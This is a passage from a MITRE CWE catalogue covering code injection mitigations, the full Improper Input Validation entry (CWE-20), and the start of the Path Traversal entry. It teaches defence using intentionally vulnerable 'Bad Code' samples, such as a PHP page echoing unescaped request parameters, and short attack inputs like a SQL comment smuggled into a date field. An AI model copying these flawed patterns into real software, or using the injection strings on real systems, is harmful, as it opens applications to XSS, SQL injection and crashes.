When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

To reduce the likelihood of code injection, use stringent whitelists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phase: Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Phase: Operation

Strategies: Compilation or Build Hardening; Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Development Concepts (primary)699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfWeakness ClassWeakness Class691Insufficient Control Flow Management
Research Concepts1000
ChildOfCategoryCategory7522009 Top 25 - Risky Resource Management
Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)750
ChildOfWeakness ClassWeakness Class913Improper Control of Dynamically-Managed Code Resources
Research Concepts1000
ChildOfCategoryCategory991SFP Secondary Cluster: Tainted Input to Environment
Software Fault Pattern (SFP) Clusters (primary)888
ParentOfWeakness BaseWeakness Base95Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base96Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')
Development Concepts (primary)699
Research Concepts (primary)1000
MemberOfViewView635Weaknesses Used by NVD
Weaknesses Used by NVD (primary)635
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
CanFollowWeakness BaseWeakness Base98Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
Development Concepts699
Research Concepts1000
+ Research Gaps

Many of these weaknesses are under-studied and under-researched, and terminology is not sufficiently precise.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERCODECode Evaluation and Injection
+ References
[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 3: Web-Client Related Vulnerabilities (XSS)." Page 63. McGraw-Hill. 2010.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Applicable_Platforms, Relationships, Research_Gaps, Taxonomy_Mappings
2009-01-12CWE Content TeamMITREInternal
updated Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Potential_Mitigations, Relationships
2009-03-10CWE Content TeamMITREInternal
updated Potential_Mitigations
2009-05-27CWE Content TeamMITREInternal
updated Demonstrative_Examples, Name
2010-02-16CWE Content TeamMITREInternal
updated Potential_Mitigations
2010-06-21CWE Content TeamMITREInternal
updated Description, Potential_Mitigations
2011-03-29CWE Content TeamMITREInternal
updated Name
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2013-02-21CWE Content TeamMITREInternal
updated Relationships
2014-07-30CWE Content TeamMITREInternal
updated Relationships
2015-12-07CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2009-01-12Code Injection
2009-05-27Failure to Control Generation of Code (aka 'Code Injection')
2011-03-29Failure to Control Generation of Code ('Code Injection')

CWE-20: Improper Input Validation

Weakness ID: 20
Abstraction: Class
Status: Usable
Presentation Filter:
+ Description

Description Summary

The product does not validate or incorrectly validates input that can affect the control flow or data flow of a program.

Extended Description

When software does not validate input properly, an attacker is able to craft the input in a form that is not expected by the rest of the application. This will lead to parts of the system receiving unintended input, which may result in altered control flow, arbitrary control of a resource, or arbitrary code execution.

+ Terminology Notes

The "input validation" term is extremely common, but it is used in many different ways. In some cases its usage can obscure the real underlying weakness or otherwise hide chaining and composite relationships.

Some people use "input validation" as a general term that covers many different neutralization techniques for ensuring that input is appropriate, such as filtering, canonicalization, and escaping. Others use the term in a more narrow context to simply mean "checking if an input conforms to expectations without changing it."

+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

Language-independent

Platform Notes

Input validation can be a problem in any system that receives data from an external source.

+ Modes of Introduction

If a programmer believes that an attacker cannot modify certain inputs, then the programmer might not perform any input validation at all. For example, in web applications, many programmers believe that cookies and hidden form fields can not be modified from a web browser (CWE-472), although they can be altered using a proxy or a custom program. In a client-server architecture, the programmer might assume that client-side security checks cannot be bypassed, even when a custom client could be written that skips those checks (CWE-602).

+ Common Consequences
ScopeEffect
Availability

Technical Impact: DoS: crash / exit / restart; DoS: resource consumption (CPU); DoS: resource consumption (memory)

An attacker could provide unexpected values and cause a program crash or excessive consumption of resources, such as memory and CPU.

Confidentiality

Technical Impact: Read memory; Read files or directories

An attacker could read confidential data if they are able to control resource references.

Integrity
Confidentiality
Availability

Technical Impact: Modify memory; Execute unauthorized code or commands

An attacker could use malicious input to modify data or possibly alter control flow in unexpected ways, including arbitrary command execution.

+ Likelihood of Exploit

High

+ Detection Methods

Automated Static Analysis

Some instances of improper input validation can be detected using automated static analysis.

A static analysis tool might allow the user to specify which application-specific methods or functions perform input validation; the tool might also have built-in knowledge of validation frameworks such as Struts. The tool may then suppress or de-prioritize any associated warnings. This allows the analyst to focus on areas of the software in which input validation does not appear to be present.

Except in the cases described in the previous paragraph, automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

Manual Static Analysis

When custom input validation is required, such as when enforcing business rules, manual analysis is necessary to ensure that the validation is properly implemented.

Fuzzing

Fuzzing techniques can be useful for detecting input validation errors. When unexpected inputs are provided to the software, the software should not crash or otherwise become unstable, and it should generate application-controlled error messages. If exceptions or interpreter-generated error messages occur, this indicates that the input was not detected and handled within the application logic itself.

Automated Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis

  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with automated results interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Web Application Scanner

  • Web Services Scanner

  • Database Scanners

Effectiveness: SOAR High

Dynamic Analysis with manual results interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Fuzz Tester

  • Framework-based Fuzzer

Cost effective for partial coverage:

  • Host Application Interface Scanner

  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: SOAR High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Focused Manual Spotcheck - Focused manual analysis of source

  • Manual Source Code Review (not inspections)

Effectiveness: SOAR High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Source code Weakness Analyzer

  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR High

Architecture / Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

  • Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

  • Attack Modeling

Effectiveness: SOAR High

+ Demonstrative Examples

Example 1

This example demonstrates a shopping interaction in which the user is free to specify the quantity of items to be purchased and a total is calculated.

(Bad Code)
Example Language: Java 
...
public static final double price = 20.00;
int quantity = currentUser.getAttribute("quantity");
double total = price * quantity;
chargeUser(total);
...

The user has no control over the price variable, however the code does not prevent a negative value from being specified for quantity. If an attacker were to provide a negative value, then the user would have their account credited instead of debited.

Example 2

This example asks the user for a height and width of an m X n game board with a maximum dimension of 100 squares.

(Bad Code)
Example Language:
...
#define MAX_DIM 100
...
/* board dimensions */
int m,n, error;
board_square_t *board;
printf("Please specify the board height: \n");
error = scanf("%d", &m);
if ( EOF == error ){
die("No integer passed: Die evil hacker!\n");
}
printf("Please specify the board width: \n");
error = scanf("%d", &n);
if ( EOF == error ){
die("No integer passed: Die evil hacker!\n");
}
if ( m > MAX_DIM || n > MAX_DIM ) {
die("Value too large: Die evil hacker!\n");
}
board = (board_square_t*) malloc( m * n * sizeof(board_square_t));
...

While this code checks to make sure the user cannot specify large, positive integers and consume too much memory, it does not check for negative values supplied by the user. As a result, an attacker can perform a resource consumption (CWE-400) attack against this program by specifying two, large negative values that will not overflow, resulting in a very large memory allocation (CWE-789) and possibly a system crash. Alternatively, an attacker can provide very large negative values which will cause an integer overflow (CWE-190) and unexpected behavior will follow depending on how the values are treated in the remainder of the program.

Example 3

The following example shows a PHP application in which the programmer attempts to display a user's birthday and homepage.

(Bad Code)
Example Language: PHP 
$birthday = $_GET['birthday'];
$homepage = $_GET['homepage'];
echo "Birthday: $birthday<br>Homepage: <a href=$homepage>click here</a>"

The programmer intended for $birthday to be in a date format and $homepage to be a valid URL. However, since the values are derived from an HTTP request, if an attacker can trick a victim into clicking a crafted URL with <script> tags providing the values for birthday and / or homepage, then the script will run on the client's browser when the web server echoes the content. Notice that even if the programmer were to defend the $birthday variable by restricting input to integers and dashes, it would still be possible for an attacker to provide a string of the form:

(Attack)
 
2009-01-09--

If this data were used in a SQL statement, it would treat the remainder of the statement as a comment. The comment could disable other security-related logic in the statement. In this case, encoding combined with input validation would be a more useful protection mechanism.

Furthermore, an XSS (CWE-79) attack or SQL injection (CWE-89) are just a few of the potential consequences when input validation is not used. Depending on the context of the code, CRLF Injection (CWE-93), Argument Injection (CWE-88), or Command Injection (CWE-77) may also be possible.

Example 4

This function attempts to extract a pair of numbers from a user-supplied string.

(Bad Code)
Example Language:
void parse_data(char *untrusted_input){
int m, n, error;
error = sscanf(untrusted_input, "%d:%d", &m, &n);
if ( EOF == error ){
die("Did not specify integer value. Die evil hacker!\n");
}
/* proceed assuming n and m are initialized correctly */
}

This code attempts to extract two integer values out of a formatted, user-supplied input. However, if an attacker were to provide an input of the form:

(Attack)
 
123:

then only the m variable will be initialized. Subsequent use of n may result in the use of an uninitialized variable (CWE-457).

Example 5

The following example takes a user-supplied value to allocate an array of objects and then operates on the array.

(Bad Code)
Example Language: Java 
private void buildList ( int untrustedListSize ){
if ( 0 > untrustedListSize ){
die("Negative value supplied for list size, die evil hacker!");
}
Widget[] list = new Widget [ untrustedListSize ];
list[0] = new Widget();
}

This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0 and then try to store a new Widget in the first location, causing an exception to be thrown.

Example 6

This application has registered to handle a URL when sent an intent:

(Bad Code)
Example Language: Java 
...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if("com.example.URLHandler.openURL".equals(intent.getAction())) {
String URL = intent.getStringExtra("URLToOpen");
int length = URL.length();
...
}
}
}

The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.

+ Observed Examples
ReferenceDescription
Eval injection in Perl program using an ID that should only contain hyphens and numbers.
SQL injection through an ID that was supposed to be numeric.
lack of input validation in spreadsheet program leads to buffer overflows, integer overflows, array index errors, and memory corruption.
insufficient validation enables XSS
driver in security product allows code execution due to insufficient validation
infinite loop from DNS packet with a label that points to itself
infinite loop from DNS packet with a label that points to itself
missing parameter leads to crash
HTTP request with missing protocol version number leads to crash
request with missing parameters leads to information exposure
system crash with offset value that is inconsistent with packet size
size field that is inconsistent with packet size leads to buffer over-read
product uses a blacklist to identify potentially dangerous content, allowing attacker to bypass a warning
security bypass via an extra header
use of extra data in a signature allows certificate signature forging
empty packet triggers reboot
incomplete blacklist allows SQL injection
NUL byte in theme name cause directory traversal impact to be worse
kernel does not validate an incoming pointer before dereferencing it
anti-virus product has insufficient input validation of hooked SSDT functions, allowing code execution
anti-virus product allows DoS via zero-length field
driver does not validate input from userland to the kernel
kernel does not validate parameters sent in from userland, allowing code execution
lack of validation of string length fields allows memory consumption or buffer over-read
lack of validation of length field leads to infinite loop
lack of validation of input to an IOCTL allows code execution
zero-length attachment causes crash
zero-length input causes free of uninitialized pointer
crash via a malformed frame structure
infinite loop from a long SMTP request
router crashes with a malformed packet
packet with invalid version number leads to NULL pointer dereference
crash via multiple "." characters in file extension
+ Potential Mitigations

Phase: Architecture and Design

Strategies: Input Validation; Libraries or Frameworks

Use an input validation framework such as Struts or the OWASP ESAPI Validation API. If you use Struts, be mindful of weaknesses covered by the CWE-101 category.

Phases: Architecture and Design; Implementation

Strategy: Identify and Reduce Attack Surface

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

Phase: Implementation

When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.

Phase: Implementation

Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.

Phase: Implementation

Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.

Phase: Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.

Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

Phase: Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phase: Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory19Data Processing Errors
Development Concepts (primary)699
ChildOfWeakness ClassWeakness Class693Protection Mechanism Failure
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory722OWASP Top Ten 2004 Category A1 - Unvalidated Input
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory738CERT C Secure Coding Section 04 - Integers (INT)
Weaknesses Addressed by the CERT C Secure Coding Standard (primary)734
ChildOfCategoryCategory742CERT C Secure Coding Section 08 - Memory Management (MEM)
Weaknesses Addressed by the CERT C Secure Coding Standard734
ChildOfCategoryCategory746CERT C Secure Coding Section 12 - Error Handling (ERR)
Weaknesses Addressed by the CERT C Secure Coding Standard734
ChildOfCategoryCategory747CERT C Secure Coding Section 49 - Miscellaneous (MSC)
Weaknesses Addressed by the CERT C Secure Coding Standard734
ChildOfCategoryCategory7512009 Top 25 - Insecure Interaction Between Components
Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)750
ChildOfCategoryCategory872CERT C++ Secure Coding Section 04 - Integers (INT)
Weaknesses Addressed by the CERT C++ Secure Coding Standard868
ChildOfCategoryCategory876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
Weaknesses Addressed by the CERT C++ Secure Coding Standard868
ChildOfCategoryCategory883CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory994SFP Secondary Cluster: Tainted Input to Variable
Software Fault Pattern (SFP) Clusters (primary)888
ChildOfCategoryCategory1005Input Validation and Representation
Seven Pernicious Kingdoms (primary)700
CanPrecedeWeakness ClassWeakness Class22Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Research Concepts1000
CanPrecedeWeakness BaseWeakness Base41Improper Resolution of Path Equivalence
Research Concepts1000
CanPrecedeWeakness ClassWeakness Class74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Research Concepts1000
CanPrecedeWeakness ClassWeakness Class119Improper Restriction of Operations within the Bounds of a Memory Buffer
Research Concepts1000
ParentOfWeakness BaseWeakness Base15External Control of System or Configuration Setting
Seven Pernicious Kingdoms (primary)700
ParentOfCategoryCategory21Pathname Traversal and Equivalence Errors
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness ClassWeakness Class73External Control of File Name or Path
Development Concepts (primary)699
Seven Pernicious Kingdoms (primary)700
ParentOfCategoryCategory100Technology-Specific Input Validation Problems
Development Concepts (primary)699
ParentOfWeakness VariantWeakness Variant102Struts: Duplicate Validation Forms
Seven Pernicious Kingdoms (primary)700
ParentOfWeakness VariantWeakness Variant103Struts: Incomplete validate() Method Definition
Seven Pernicious Kingdoms (primary)700
ParentOfWeakness VariantWeakness Variant104Struts: Form Bean Does Not Extend Validation Class
Seven Pernicious Kingdoms (primary)700
ParentOfWeakness VariantWeakness Variant105Struts: Form Field Without Validator
Seven Pernicious Kingdoms (primary)700
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant106Struts: Plug-in Framework not in Use
Seven Pernicious Kingdoms (primary)700
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant107Struts: Unused Validation Form
Seven Pernicious Kingdoms (primary)700
ParentOfWeakness VariantWeakness Variant108Struts: Unvalidated Action Form
Seven Pernicious Kingdoms (primary)700
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant109Struts: Validator Turned Off
Seven Pernicious Kingdoms (primary)700
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant110Struts: Validator Without Form Field
Seven Pernicious Kingdoms (primary)700
ParentOfWeakness BaseWeakness Base111Direct Use of Unsafe JNI
Development Concepts (primary)699
Seven Pernicious Kingdoms (primary)700
ParentOfWeakness BaseWeakness Base112Missing XML Validation
Seven Pernicious Kingdoms (primary)700
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base113Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')
Seven Pernicious Kingdoms (primary)700
ParentOfWeakness BaseWeakness Base114Process Control
Development Concepts (primary)699
Seven Pernicious Kingdoms (primary)700
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base117Improper Output Neutralization for Logs
Seven Pernicious Kingdoms (primary)700
ParentOfWeakness BaseWeakness Base120Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
Seven Pernicious Kingdoms (primary)700
ParentOfWeakness BaseWeakness Base129Improper Validation of Array Index
Development Concepts (primary)699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness BaseWeakness Base134Use of Externally-Controlled Format String
Seven Pernicious Kingdoms (primary)700
ParentOfWeakness BaseWeakness Base170Improper Null Termination
Seven Pernicious Kingdoms (primary)700
ParentOfWeakness BaseWeakness Base179Incorrect Behavior Order: Early Validation
Development Concepts (primary)699
ParentOfWeakness BaseWeakness Base180Incorrect Behavior Order: Validate Before Canonicalize
Development Concepts (primary)699
ParentOfWeakness BaseWeakness Base181Incorrect Behavior Order: Validate Before Filter
Development Concepts (primary)699
ParentOfWeakness BaseWeakness Base190Integer Overflow or Wraparound
Seven Pernicious Kingdoms (primary)700
ParentOfWeakness BaseWeakness Base466Return of Pointer Value Outside of Expected Range
Seven Pernicious Kingdoms (primary)700
ParentOfWeakness BaseWeakness Base470Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
Development Concepts (primary)699
Seven Pernicious Kingdoms (primary)700
ParentOfWeakness VariantWeakness Variant554ASP.NET Misconfiguration: Not Using Input Validation Framework
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant601URL Redirection to Untrusted Site ('Open Redirect')
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness BaseWeakness Base606Unchecked Input for Loop Condition
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant622Improper Validation of Function Hook Arguments
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant626Null Byte Interaction Error (Poison Null Byte)
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfCompound Element: ChainCompound Element: Chain680Integer Overflow to Buffer Overflow
Research Concepts (primary)1000
ParentOfCompound Element: ChainCompound Element: Chain690Unchecked Return Value to NULL Pointer Dereference
Research Concepts (primary)1000
ParentOfCompound Element: ChainCompound Element: Chain692Incomplete Blacklist to Cross-Site Scripting
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant781Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant785Use of Path Manipulation Function without Maximum-sized Buffer
Development Concepts699
Seven Pernicious Kingdoms (primary)700
ParentOfWeakness VariantWeakness Variant789Uncontrolled Memory Allocation
Research Concepts1000
MemberOfViewView635Weaknesses Used by NVD
Weaknesses Used by NVD (primary)635
+ Relationship Notes

CWE-116 and CWE-20 have a close association because, depending on the nature of the structured message, proper input validation can indirectly prevent special characters from changing the meaning of a structured message. For example, by validating that a numeric ID field should only contain the 0-9 characters, the programmer effectively prevents injection attacks.

However, input validation is not always sufficient, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise neutralized. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

+ Research Gaps

There is not much research into the classification of input validation techniques and their application. Many publicly-disclosed vulnerabilities simply characterize a problem as "input validation" without providing more specific details that might contribute to a deeper understanding of validation techniques and the weaknesses they can prevent or reduce. Validation is over-emphasized in contrast to other neutralization techniques such as filtering and enforcement by conversion. See the vulnerability theory paper.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsInput validation and representation
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
CERT C Secure CodingERR07-CPrefer functions that support error checking over equivalent functions that don't
CERT C Secure CodingINT06-CUse strtol() or a related function to convert a string token to an integer
CERT C Secure CodingMEM10-CDefine and use a pointer validation function
CERT C Secure CodingMSC08-CLibrary functions should validate their parameters
WASC20Improper Input Handling
CERT C++ Secure CodingINT06-CPPUse strtol() or a related function to convert a string token to an integer
CERT C++ Secure CodingMEM10-CPPDefine and use a pointer validation function
CERT C++ Secure CodingMSC08-CPPFunctions should validate their parameters
Software Fault PatternsSFP25Tainted input to variable
+ References
Jim Manico. "Input Validation with ESAPI - Very Important". 2008-08-15. <http://manicode.blogspot.com/2008/08/input-validation-with-esapi.html>.
[REF-21] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
Joel Scambray, Mike Shema and Caleb Sima. "Hacking Exposed Web Applications, Second Edition". Input Validation Attacks. McGraw-Hill. 2006-06-05.
Jeremiah Grossman. "Input validation or output filtering, which is better?". 2007-01-30. <http://jeremiahgrossman.blogspot.com/2007/01/input-validation-or-output-filtering.html>.
Kevin Beaver. "The importance of input validation". 2006-09-06. <http://searchsoftwarequality.techtarget.com/tip/0,289483,sid92_gci1214373,00.html>.
[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 10, "All Input Is Evil!" Page 341. 2nd Edition. Microsoft. 2002.
+ Maintenance Notes

Input validation - whether missing or incorrect - is such an essential and widespread part of secure development that it is implicit in many different weaknesses. Traditionally, problems such as buffer overflows and XSS have been classified as input validation problems by many security professionals. However, input validation is not necessarily the only protection mechanism available for avoiding such problems, and in some cases it is not even sufficient. The CWE team has begun capturing these subtleties in chains within the Research Concepts view (CWE-1000), but more work is needed.

+ Content History
Submissions
Submission DateSubmitterOrganizationSource
7 Pernicious KingdomsExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Potential_Mitigations, Time_of_Introduction
2008-08-15VeracodeExternal
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITREInternal
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationship_Notes, Relationships
2009-03-10CWE Content TeamMITREInternal
updated Description, Potential_Mitigations
2009-05-27CWE Content TeamMITREInternal
updated Related_Attack_Patterns
2009-07-27CWE Content TeamMITREInternal
updated Relationships
2009-10-29CWE Content TeamMITREInternal
updated Common_Consequences, Demonstrative_Examples, Maintenance_Notes, Modes_of_Introduction, Observed_Examples, Relationships, Research_Gaps, Terminology_Notes
2009-12-28CWE Content TeamMITREInternal
updated Applicable_Platforms, Demonstrative_Examples, Detection_Factors
2010-02-16CWE Content TeamMITREInternal
updated Detection_Factors, Potential_Mitigations, References, Taxonomy_Mappings
2010-04-05CWE Content TeamMITREInternal
updated Related_Attack_Patterns
2010-06-21CWE Content TeamMITREInternal
updated Potential_Mitigations, Research_Gaps, Terminology_Notes
2010-09-27CWE Content TeamMITREInternal
updated Potential_Mitigations, Relationships
2010-12-13CWE Content TeamMITREInternal
updated Demonstrative_Examples, Description
2011-03-29CWE Content TeamMITREInternal
updated Observed_Examples
2011-06-01CWE Content TeamMITREInternal
updated Applicable_Platforms, Common_Consequences, Relationship_Notes
2011-09-13CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Demonstrative_Examples, References, Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2013-02-21CWE Content TeamMITREInternal
updated Relationships
2013-07-17CWE Content TeamMITREInternal
updated Relationships
2014-02-18CWE Content TeamMITREInternal
updated Demonstrative_Examples, Related_Attack_Patterns
2014-07-30CWE Content TeamMITREInternal
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITREInternal
updated Relationships
2017-01-19CWE Content TeamMITREInternal
updated Related_Attack_Patterns, Relationships
2017-05-03CWE Content TeamMITREInternal
updated Related_Attack_Patterns, Relationships
Previous Entry Names
Change DatePrevious Entry Name
2009-01-12Insufficient Input Validation

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Weakness ID: 22
Abstraction: Class
Status: Draft
Presentation Filter:
+ Description

Description Summary

